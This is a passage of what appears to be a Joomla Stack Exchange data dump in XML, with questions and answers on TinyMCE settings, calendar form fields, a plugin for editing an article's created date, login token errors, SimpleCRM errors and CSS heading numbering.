  <row Id="24443" PostTypeId="2" ParentId="24437" CreationDate="2019-04-06T16:09:11.023" Score="0" Body="&lt;p&gt;With tinymce default editor enabled, You can change the code snippet in file - &lt;code&gt;[root]\plugins\editors\tinymce\tinymce.php&lt;/code&gt; around &lt;strong&gt;line 685&lt;/strong&gt; from :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;code&amp;gt;$scriptOptions['force_p_newlines']  = true;&#xA;        $scriptOptions['forced_root_block'] = 'p';&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;code&amp;gt;$scriptOptions['force_p_newlines']  = true;&#xA;        $scriptOptions['forced_root_block'] = false;&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will result in disabling of root block element being paragraph by default&lt;/p&gt;&#xA;" OwnerUserId="12579" LastActivityDate="2019-04-06T16:09:11.023" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24444" PostTypeId="2" ParentId="24432" CreationDate="2019-04-07T14:47:44.280" Score="1" Body="&lt;p&gt;&lt;strong&gt;The basic issue is&lt;/strong&gt; that sql datetime field format is this: &lt;code&gt;'YYYY-MM-DD HH:MM:SS'&lt;/code&gt;. You can only save a date in this format when you save a date/time value (in MySQL at least). If you have a calendar html input field (a DatePicker) and because of a language (country) you have to change the format of the date (for example to this: &lt;code&gt;'DD-MM-YYYY HH:MM:SS'&lt;/code&gt;), then you will be unable to save it back to the database in this format and Joomla will just replace it with a default or null value in the database. You can of course change the date input value' format in your model before saving, however, in Joomla this problem is already solved &lt;strong&gt;if you create&lt;/strong&gt; &lt;strong&gt;an html calendar field with using XML&lt;/strong&gt;, as the basic way how it should be created in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; You have to create the Calendar form field in XML and since you make an override thus you will create this &lt;code&gt;mycalendar.xml&lt;/code&gt; file in your template html folder for example at &lt;code&gt;your_joomla_root/templates/yourtemplate/html/com_content/article/forms/&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;mynewcalendar&quot;&amp;gt;&#xA;      &amp;lt;field  name=&quot;created&quot;&#xA;              type=&quot;calendar&quot;&#xA;              label=&quot;Date event&quot;&#xA;              description=&quot;This field is for the events&quot;                  &#xA;              translateformat=&quot;true&quot;&#xA;              showtime=&quot;true&quot;&#xA;              size=&quot;40&quot;&#xA;              class=&quot;inputbox&quot;&#xA;              default=&quot;&quot;&#xA;              filter=&quot;user_utc&quot;&#xA;      /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Then, you will load this form field into your layout override' Form using the already loaded form object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Custom added by Yolknet&#xA;&#xA;// Your date from database&#xA;$date = (string) JFactory::getDate($this-&amp;gt;item-&amp;gt;created);&#xA;&#xA;// your xml calendar field file&#xA;$file = JPATH_THEMES . '/your_template/html/com_content/article/forms/mycalendar.xml';&#xA;&#xA;$this-&amp;gt;form-&amp;gt;loadFile($file, $reset = true);&#xA;&#xA;// setting default date value&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute($name='created', $attribute='default', $value=$date);&#xA;&#xA;echo $this-&amp;gt;form-&amp;gt;renderField('created');&#xA;&#xA;// End custom added by Yolknet ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you want to load the Calendar form field with a new Form object, you can also do that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? php&#xA;&#xA;// on the top of your layout file you have the Form class:&#xA;use \Joomla\CMS\Form\Form;&#xA;&#xA;// the code where you would like to load the input field    &#xA;$date = (string) JFactory::getDate($this-&amp;gt;item-&amp;gt;created); // any date from your table - you do not need to format that&#xA;$file = JPATH_THEMES . '/your_template/html/com_content/article/forms/mycalendar.xml';&#xA;&#xA;// create a new form object&#xA;$mycalendar = new Form('MyNewForm');&#xA;&#xA;$mycalendar-&amp;gt;loadFile($file, $reset = true);&#xA;&#xA;$mycalendar-&amp;gt;setFieldAttribute($name='created', $attribute='default', $value=$date);&#xA;&#xA;echo $mycalendar-&amp;gt;renderField('created');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You will get a fully functional calendar input field&lt;/strong&gt; that automatically displays the datetime according to the user language setting and you can also save the picked date without any problem. (The above is tested and works). I hope it will now work for you too. Please give me a feedback on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, the basic problem of this question was about how to add &lt;code&gt;translateformat=&quot;true&quot;&lt;/code&gt; option value to the form field which makes it possible to display the datetime value according to any user language setting, at the same time keeping the date format at saving the date back. I just do not see the possibility of doing that with JHtml::calendar() method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While we can create form input fields in many other ways of course, here is a very good explanation about why we should create form fields using XML in Joomla:&#xA;&lt;a href=&quot;https://magazine.joomla.org/issues/issue-jun-2017/item/3248-new-datepicker-for-joomla-3-7&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/issues/issue-jun-2017/item/3248-new-datepicker-for-joomla-3-7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; &lt;strong&gt;- On Article 'created' date field editing from front-end&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The previous part of my answer works on any Form except in the front-end editing of an article's &lt;code&gt;created&lt;/code&gt; date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After&lt;/strong&gt; I got the template file from @Yolknet (that he is working on) it became obvious what the real problem is when he tries to use the above instructions on creating and using Calendar form field at article editing in front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here the original question&lt;/strong&gt; should be: &lt;strong&gt;how to edit &lt;code&gt;created&lt;/code&gt; date of an article from the front-end of Joomla?&lt;/strong&gt; So the question here is not how to change date format in &lt;code&gt;JHtml::calendar()&lt;/code&gt;, since the problem here is that in Joomla core they restricted the editing of the created date of an article only to the administrator area of Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem cannot be solved by just creating a calendar form field in a layout override, since the date input is going to be filtered out by the core &lt;strong&gt;Form-&gt;validate()&lt;/strong&gt; method in Joomla due to the fact that created date field's &lt;strong&gt;filter attribute&lt;/strong&gt; is set to &lt;code&gt;unset&lt;/code&gt; value, which means that the value after form field filtering will be a &lt;code&gt;null&lt;/code&gt; value. So the original question was really misleading and the real problem was already shortly but well answered by @Sharky few moths ago here:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/23460/how-can-i-enable-the-created-date-for-an-article-to-be-edited-in-the-front-end?rq=1&quot;&gt;How can I enable the created date for an article to be edited in the front end?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you have to add to the front-end content &lt;code&gt;edit.php&lt;/code&gt; layout override is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Custom added by Yolknet&#xA;&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute($name='created', $attribute='showtime', $value='true');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute($name='created', $attribute='label', $value='Created date');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute($name='created', $attribute='class', $value='inputbox');&#xA;&#xA;echo $this-&amp;gt;form-&amp;gt;renderField('created');&#xA;&#xA;// End custom added by Yolknet ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, &lt;strong&gt;this override will not solve the problem yet&lt;/strong&gt;, it will just display the &lt;code&gt;created&lt;/code&gt; datetime field nicely in the article editing layout in the front-end of Joomla but you will not be able to save the date yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In order to be able to save&lt;/strong&gt; the input data into the content table, you have to create and use a plugin (that @Sharky very well has given &lt;a href=&quot;https://joomla.stackexchange.com/questions/23460/how-can-i-enable-the-created-date-for-an-article-to-be-edited-in-the-front-end?rq=1&quot;&gt;in his answer&lt;/a&gt; already) or I just also created my own version on another plugin event (&lt;code&gt;onContentNormaliseRequestData()&lt;/code&gt;), which is an event before a &lt;strong&gt;submitted form and data is going through filtering and validation in \Joomla\CMS\Form\Form class&lt;/strong&gt;. The plugin should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    [PACKAGE_NAME]&#xA; *&#xA; * @author     [AUTHOR] &amp;lt;[AUTHOR_EMAIL]&amp;gt;&#xA; * @copyright  [COPYRIGHT]&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; * @link       [AUTHOR_URL]&#xA; */&#xA;defined('_JEXEC') or die;&#xA;use Joomla\CMS\Application\CMSApplication;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Form\Form;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;/**&#xA; * ContentArticleformfieldcreated plugin.&#xA; *&#xA; * @package  [TEMPLATE_NAME]&#xA; * @since    1.0&#xA; */&#xA;class PlgContentArticleformfieldcreated extends CMSPlugin&#xA;{&#xA;    /**&#xA;     * Application object&#xA;     *&#xA;     * @var    CMSApplication&#xA;     * @since  1.0&#xA;     */&#xA;    protected $app;&#xA;    /**&#xA;     * Database object&#xA;     *&#xA;     * @var    Factory::getDbo()&#xA;     * @since  1.0&#xA;     */&#xA;    protected $db;&#xA;    /**&#xA;     * Affects constructor behavior. If true, language files will be loaded automatically.&#xA;     *&#xA;     * @var    boolean&#xA;     * @since  1.0&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    /**&#xA;     * This is an event that is called in FormController.php in save() method&#xA;     * before the submitted Form $data is filtered and validated in the Form class&#xA;     * This plugin makes it possible to edit article created date from the front-end of Joomla.&#xA;     * Without this plugin the form field named 'created' is unset and the filter nulls it's value.&#xA;     *&#xA;     * @param string $context The context of the content passed to the plugin (added in 1.6).&#xA;     * @param object $article A JTableContent object.&#xA;     *&#xA;     * @return  void.&#xA;     *&#xA;     * @since   1.0&#xA;     */&#xA;    public function onContentNormaliseRequestData($context, $data, Form $form)&#xA;    {&#xA;        if ($this-&amp;gt;app-&amp;gt;isClient('site') &amp;amp;&amp;amp; $context == 'com_content.article' &amp;amp;&amp;amp; $form-&amp;gt;getField('created') != false)&#xA;        {&#xA;            $form-&amp;gt;setFieldAttribute('created', 'filter', 'user_utc');&#xA;            $form-&amp;gt;setFieldAttribute('created', 'showtime', 'true');&#xA;        }&#xA;    }    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using either of the plugins will make you able to modify and save the &lt;code&gt;created&lt;/code&gt; date of an article in the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just to finalize this question, I've made a short visual that shows the front-end editing and saving of article's created date (labelled here as Datum Evenement) and also shows that it works with Dutch date format too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/98kAP.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/98kAP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-05-02T13:31:03.153" LastActivityDate="2019-05-02T13:31:03.153" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="24445" PostTypeId="2" ParentId="4796" CreationDate="2019-04-07T20:19:11.280" Score="0" Body="&lt;pre&gt;&lt;code&gt;.calendars-popup{&#xA;  margin: 0 auto;&#xA;   position: absolute; &#xA;    z-index: 1050;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0Zj3n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Zj3n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13445" LastEditorUserId="12352" LastEditDate="2019-04-08T03:55:38.487" LastActivityDate="2019-04-08T03:55:38.487" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24447" PostTypeId="1" CreationDate="2019-04-08T13:09:37.400" Score="0" ViewCount="72" Body="&lt;p&gt;I made a backup of my live Joomla 3.7.5 site using Akeeba and used kickstart to upload the backup to MAMP on Windows. The front-side of the site on localhost displays correctly and I am able to log in to the admin side. But, when I try to edit an article, or initiate updates to Joomla, extensions, etc I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HTTP Error 500&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am new to Joomla so any help you can provide would be appreciated. Let me know what additional info you may need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried renaming the .htaccess file to .htaccess.old and a new htaccess file was created, with no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Expected Result&lt;/strong&gt;: edit an article or update Joomla/extensions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Actual Result&lt;/strong&gt;: Click on Edit or Update and receive HTTP Error 500&lt;/p&gt;&#xA;" OwnerUserId="13447" LastEditorUserId="12352" LastEditDate="2019-04-08T23:28:24.357" LastActivityDate="2020-01-07T23:01:00.097" Title="HTTP Error when trying to edit Joomla on localhost" Tags="|localhost|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24448" PostTypeId="1" AcceptedAnswerId="24482" CreationDate="2019-04-08T15:16:07.377" Score="2" ViewCount="441" Body="&lt;p&gt;I assume that a page builder is a kind of extension intended to build pages in terms of appearance and style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other side, a template framework is a tool that allows us to modify template, which for me is very similar to the purpose of a page builder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am obviously missing something; what is the difference between these two?&lt;/p&gt;&#xA;" OwnerUserId="13448" LastEditorUserId="12352" LastEditDate="2019-04-09T01:04:53.167" LastActivityDate="2021-10-20T22:39:03.330" Title="What is the difference between a Page Builder and a Framework?" Tags="|extensions|template-framework|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24449" PostTypeId="2" ParentId="24448" CreationDate="2019-04-08T15:26:12.507" Score="2" Body="&lt;h3&gt;Page Builder:&lt;/h3&gt;&#xA;&lt;p&gt;This allows you to build pages and each one can be different. For example, page specific modules, permissions, styling, and so on.&#xA;Page builders focus more on the &lt;strong&gt;structure&lt;/strong&gt; and &lt;strong&gt;content&lt;/strong&gt; of the page.&lt;/p&gt;&#xA;&lt;h3&gt;Template Framework:&lt;/h3&gt;&#xA;&lt;p&gt;The template is the overall design of your site so it's more generic and will normally apply any changes you make globally. These frameworks however do vary and some may allow page specific changes.&#xA;Due to the fact they're aimed more at your global site, they'll also include other sets of tools for compiling, compression, colour changes, etc.&#xA;Template frameworks focus on the &lt;strong&gt;structure&lt;/strong&gt; and &lt;strong&gt;styling&lt;/strong&gt; of your site.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-04-08T15:26:12.507" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24450" PostTypeId="1" CreationDate="2019-04-09T05:00:08.323" Score="0" ViewCount="440" Body="&lt;p&gt;When attempting to log in using the standard &lt;a href=&quot;https://southernjanitorial.com/login.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! login page&lt;/a&gt;, the following message is displayed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Warning&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;The security token did not match. The request was aborted to prevent any security breach. Please try again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are no errors in the log file and all extensions are up-to-date. The only authentication plugins enabled are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Authentication - Joomla&lt;/li&gt;&#xA;&lt;li&gt;Authentication - Cookie&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Disabling either changes nothing.&#xA;Disabling all extensions changes nothing.&#xA;Enabling all extensions changes nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &quot;Amaze&quot; template, but it does the same thing with both the &quot;Prostar&quot; and &quot;Beez3&quot; templates.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="12352" LastEditDate="2019-11-16T23:08:58.797" LastActivityDate="2024-03-26T08:42:35.863" Title="Unable to log in to Joomla! front-end" Tags="|joomla-3.x|login|security|security-token|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24452" PostTypeId="1" AcceptedAnswerId="24461" CreationDate="2019-04-09T07:38:47.193" Score="3" ViewCount="114" Body="&lt;p&gt;Immediately after upgrading my Joomla version from 3.9.1 to 3.9.4, I can no longer access certain Simple CRM submenus in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xPTqH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xPTqH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Company Codes link works properly.&lt;br&gt;&#xA;(&lt;code&gt;http://localhost/jdem02/administrator/index.php?option=com_gscrm&amp;amp;view=Codes&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following do not:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Simple CRM&lt;br&gt;&#xA;(&lt;code&gt;http://localhost/jdem02/administrator/index.php?option=com_gscm&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;User Management&lt;br&gt;&#xA;(&lt;code&gt;http://localhost/jdem02/administrator/index.php?option=com_gscrm&amp;amp;view=Beads&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;User Roles&lt;br&gt;&#xA;(&lt;code&gt;http://localhost/jdem02/administrator/index.php?option=com_gscrm&amp;amp;view=Roles&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Currencies &amp;amp; Rates&lt;br&gt;&#xA;(&lt;code&gt;http://localhost/jdem02/administrator/index.php?option=com_gscrm&amp;amp;view=Currencies&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They all generate the same error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0 Call to a member function getModel() on null&lt;br&gt;&#xA;  C:\wamp64\www\jdem02\libraries\fof30\Form\Field\Numeric.php:25&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So &lt;a href=&quot;https://en.wikipedia.org/wiki/Who_Moved_My_Cheese%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;who moved my cheese?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I am not interested in &lt;a href=&quot;https://joomla.stackexchange.com/a/21045/12352&quot;&gt;lowering my Joomla version&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my &lt;code&gt;administrator/components/com_gscrm/View&lt;/code&gt; directory structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TJmEw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TJmEw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Roles form.default.xml script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form type=&quot;browse&quot; &#xA;    show_header=&quot;1&quot; &#xA;        show_filters=&quot;1&quot; &#xA;            show_pagination=&quot;1&quot; &#xA;                norows_placeholder=&quot;COM_GSCRM_COMMON_NORECORDS&quot;&amp;gt;&#xA;  &amp;lt;headerset&amp;gt;&#xA;    &amp;lt;header name=&quot;gscrm_role_id&quot; type=&quot;RowSelect&quot; label=&quot;COM_GSCRM_ROLES_GSCRM_ROLE_ID_LABEL&quot; /&amp;gt;&#xA;    &amp;lt;header name=&quot;role_id&quot; label=&quot;COM_GSCRM_ROLES_GSCRM_ROLE_ID_LABEL&quot; description=&quot;COM_GSCRM_ROLES_GSCRM_ROLE_ID_DESC&quot;/&amp;gt;         &#xA;    &amp;lt;header name=&quot;title&quot; type=&quot;Searchable&quot; label=&quot;COM_GSCRM_ROLES_TITLE_LABEL&quot;/&amp;gt;&#xA;    &amp;lt;header name=&quot;parent&quot; label=&quot;COM_GSCRM_ROLES_PARENT_LABEL&quot; sortable=&quot;true&quot;/&amp;gt;&#xA;    &amp;lt;header name=&quot;child&quot; label=&quot;COM_GSCRM_ROLES_CHILD_LABEL&quot; sortable=&quot;true&quot;/&amp;gt;&#xA;    &amp;lt;header name=&quot;code&quot; type=&quot;Searchable&quot; label=&quot;COM_GSCRM_ROLES_CODE_LABEL&quot; sortable=&quot;true&quot;/&amp;gt;&#xA;    &amp;lt;header name=&quot;enabled&quot; type=&quot;Published&quot; label=&quot;COM_GSCRM_ROLES_ENABLED_LABEL&quot; sortable=&quot;true&quot;/&amp;gt;&#xA;    &amp;lt;header name=&quot;access&quot; type=&quot;AccessLevel&quot; label=&quot;COM_GSCRM_ROLES_ACCESS_LABEL&quot; sortable=&quot;true&quot;/&amp;gt;&#xA;  &amp;lt;/headerset&amp;gt;&#xA;&#xA;  &amp;lt;fieldset name=&quot;items&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;gscrm_role_id&quot; type=&quot;SelectRow&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;gscrm_role_id&quot; id=&quot;role_id&quot; type=&quot;text&quot;/&amp;gt;&#xA;&#xA;    &amp;lt;field name=&quot;title&quot; type=&quot;Sortable&quot; url=&quot;index.php?option=com_gscrm&amp;amp;amp;view=Role&amp;amp;amp;id=[ITEM:ID]&amp;amp;amp;[TOKEN]=1&quot;/&amp;gt;&#xA;&#xA;    &amp;lt;field name=&quot;parent&quot; type=&quot;Numeric&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;child&quot; type=&quot;Numeric&quot;/&amp;gt;&#xA;&#xA;    &amp;lt;field name=&quot;code&quot; type=&quot;ViewTemplate&quot; emptylabel=&quot;1&quot; &#xA;                        source=&quot;admin:com_gscrm/Beads/Code_name&quot; &#xA;    /&amp;gt;  &#xA;    &amp;lt;field name=&quot;enabled&quot; type=&quot;Actions&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;access&quot; type=&quot;AccessLevel&quot;/&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-04-10T03:38:56.647" LastActivityDate="2019-04-11T07:45:03.400" Title="Some SimpleCRM menu items fail with error: Call to a member function getModel() on null" Tags="|administrator|menu-item|fof|simplecrm|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="24453" PostTypeId="2" ParentId="24450" CreationDate="2019-04-09T08:53:52.827" Score="0" Body="&lt;p&gt;Did you try to clean you browser cache etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This warning always means that the token in the form is &#xA;a) outdated --&gt; reload of the webpage and cache cleaning helps&#xA;b) the form does not have a token or it's broken&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do you have a link to take a look on it?&lt;/li&gt;&#xA;&lt;li&gt;Are you using the Joomla standard template?&lt;/li&gt;&#xA;&lt;li&gt;do you have any extensions active which are not Joomla core extensions?&lt;/li&gt;&#xA;&lt;li&gt;In short: more context would help&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can't write comments yet, that's why I ask in the answer section.&lt;/p&gt;&#xA;" OwnerUserId="13188" LastActivityDate="2019-04-09T08:53:52.827" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24454" PostTypeId="2" ParentId="24406" CreationDate="2019-04-09T18:12:52.793" Score="1" Body="&lt;p&gt;The problem was with the Jomsocial Redirect plugin that I had not configured!&#xA;I installed a clean system and added the extensions on the live system to this test system - all worked until I added Jomsocial - quick Google then gave sufficient clues&lt;/p&gt;&#xA;" OwnerUserId="13421" LastActivityDate="2019-04-09T18:12:52.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24456" PostTypeId="2" ParentId="18856" CreationDate="2019-04-10T08:47:07.573" Score="1" Body="&lt;p&gt;You just need to enable the Debug Mode in Global Settings and then Joomla will display the stack trace on error.&lt;/p&gt;&#xA;" OwnerUserId="13454" LastActivityDate="2019-04-10T08:47:07.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24457" PostTypeId="1" CreationDate="2019-04-10T16:17:57.137" Score="0" ViewCount="34" Body="&lt;p&gt;I would like to have headings in an article to be automatically numbered as follows:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;a&amp;lt;/h2&amp;gt;  &amp;lt;!-- 1         --&amp;gt;&#xA;&amp;lt;h3&amp;gt;a&amp;lt;/h3&amp;gt;  &amp;lt;!-- 1.1       --&amp;gt;&#xA;&amp;lt;h4&amp;gt;a&amp;lt;/h4&amp;gt;  &amp;lt;!-- 1.1.1     --&amp;gt;&#xA;&amp;lt;h4&amp;gt;a&amp;lt;/h4&amp;gt;  &amp;lt;!-- 1.1.2     --&amp;gt;&#xA;&amp;lt;h3&amp;gt;a&amp;lt;/h3&amp;gt;  &amp;lt;!-- 1.2       --&amp;gt;&#xA;&amp;lt;h4&amp;gt;a&amp;lt;/h4&amp;gt;  &amp;lt;!-- 1.2.1     --&amp;gt;&#xA;&amp;lt;h5&amp;gt;a&amp;lt;/h5&amp;gt;  &amp;lt;!-- 1.2.1.1   --&amp;gt;&#xA;&amp;lt;h6&amp;gt;a&amp;lt;/h6&amp;gt;  &amp;lt;!-- 1.2.1.1.1 --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For this to accomplish I have found a css on the Internet, which I had to modify a bit (it originally had a dot after the last digit in the numbering; and I want to have em space between numbering and the title itself). I tested it out as follows:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;style&amp;gt;&#xA;            /* source:  http://philarcher.org/css/numberheadings.css&#xA;             * info:    https://philarcher.org/diary/2013/headingnumbers/&#xA;             * author:  Phil Archer&#xA;             * licence: https://creativecommons.org/licenses/by/3.0&#xA;             */&#xA;&#xA;            body {counter-reset: h2}&#xA;            h2 {counter-reset: h3}&#xA;            h3 {counter-reset: h4}&#xA;            h4 {counter-reset: h5}&#xA;            h5 {counter-reset: h6}&#xA;            h2:before {counter-increment: h2; content: counter(h2) &quot;\002003&quot; }  /* \002003 = U+2003 = &amp;amp;emsp; = em space */&#xA;            h3:before {counter-increment: h3; content: counter(h2) &quot;.&quot; counter(h3) &quot;\002003&quot; }&#xA;            h4:before {counter-increment: h4; content: counter(h2) &quot;.&quot; counter(h3) &quot;.&quot; counter(h4) &quot;\002003&quot; }&#xA;            h5:before {counter-increment: h5; content: counter(h2) &quot;.&quot; counter(h3) &quot;.&quot; counter(h4) &quot;.&quot; counter(h5) &quot;\002003&quot; }&#xA;            h6:before {counter-increment: h6; content: counter(h2) &quot;.&quot; counter(h3) &quot;.&quot; counter(h4) &quot;.&quot; counter(h5) &quot;.&quot; counter(h6) &quot;\002003&quot; }&#xA;            h2.nocount:before, h3.nocount:before, h4.nocount:before, h5.nocount:before, 